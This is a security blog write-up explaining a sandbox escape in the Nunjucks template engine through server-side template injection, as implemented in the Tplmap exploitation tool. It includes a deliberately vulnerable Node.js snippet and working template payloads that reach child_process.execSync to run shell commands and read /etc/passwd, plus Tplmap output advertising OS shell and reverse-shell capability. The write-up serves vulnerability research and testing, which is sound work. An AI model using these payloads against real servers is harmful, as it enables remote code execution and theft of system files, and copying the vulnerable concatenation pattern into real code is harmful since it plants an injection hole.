Sandbox Breakout - A View of the Nunjucks Template Engine

August 2, 2016

Introduction

This write-up describes a sandbox escape technique on Nunjucks template engine implemented by Tplmap, a tool to exploit Server-Side Template Injection vulnerabilities (SSTI) and achieve remote command execution on the operating system. Thanks to Andrea who has worked with me on this analysis.

Nunjucks

Nunjucks is a template engine for by Jinja2 used to develop web applications on Node.js web frameworks as Express or Connect. The snippet from a Connect application serves a web page (http://localhost:15004/page?name=John) which suffers from Server-Side Template Injection vulnerability.

app.use('/page', function(req, res){
  if(req.url) {
    var url_parts = url.parse(req.url, true);
    var name = url_parts.query.name;
    
    // Include user-input in the template
    var template = 'Hello ' + name + '!'; 
    
    rendered = nunjucks.renderString(
      str = template
    );
    res.end(rendered);
  }
});

The user controllable name GET parameter is concatenated to the template string instead of being passed as context argument, introducing the SSTI vulnerability. The vulnerable parameter can be detected injecting a basic operation which is evaluated at rendering time.

$ curl -g 'http://localhost:15004/page?name={{7*7}}'
Hello 49!
$

The vulnerability does not affect Nunjucks itself, but is introduced when the user’s input is directly concatenated to a template.

Sandbox escape

As many other template engines, Nunjucks template code runs in a sandboxed environment. Any global object is stripped out from the environment, to limit the surface which could be used to break out of the sandbox and execute arbitrary JavaScript. You can use Tplmap --tpl-shell option to inspect the sandbox surface.

Calling the global object console from within the template raises an undefined exception.

{{console.log(1)}}

// Template render error: (unknown path)
//  Error: Unable to call `console["log"]`, which is undefined or falsey

Luckily for the attacker the documentation describes three utility functions range, cycler, and joiner which are the only callables from within the template.

The constructor property of any function is the Function constructor which allows to create a new function starting from the body string.

{{range.constructor("console.log(123)")()}}
// 123

The code above is correctly evaluated. The operating system access instead is not straightforward since require() cannot be used to import standard modules without triggering an exception.

{{range.constructor("return require('fs')")()}}

//Template render error: (unknown path)
//  ReferenceError: require is not defined

The missing requireconstraint can be bypassed using global.process.mainModule.require. In the snippet below, the module fs is imported and printed.

{{range.constructor("return global.process.mainModule.require('fs')")()}}

[object Object]

Finally, the exploit to access the underlying operating system can be finalised executing tail /etc/passwd via the child_process.execSync() method.

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Tplmap integration

The sandbox escape technique has been integrated in Tplmap Nunjucks plugin to compromise the target in a fully automated way.

$ ./tplmap.py -u http://localhost:15004/page?name=* --engine Nunjucks --os-shell
[+] Tplmap 0.1
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Found placeholder in GET parameter 'name'
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  Engine: Nunjucks
  Injection: {{*}}
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Code evaluation: yes, javascript code
   Shell command execution: yes
   File write: yes
   File read: yes
   Bind and reverse shell: yes

[+] Run commands on the operating system

linux $ tail /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Tplmap support of new template engines can be easily extended writing plugins. All contributions are greatly appreciated, both code or ideas of sandbox escapes of new template engines. Submit your sandbox break-out idea or code via Github issues and pull request.

Comments

comments powered by Disqus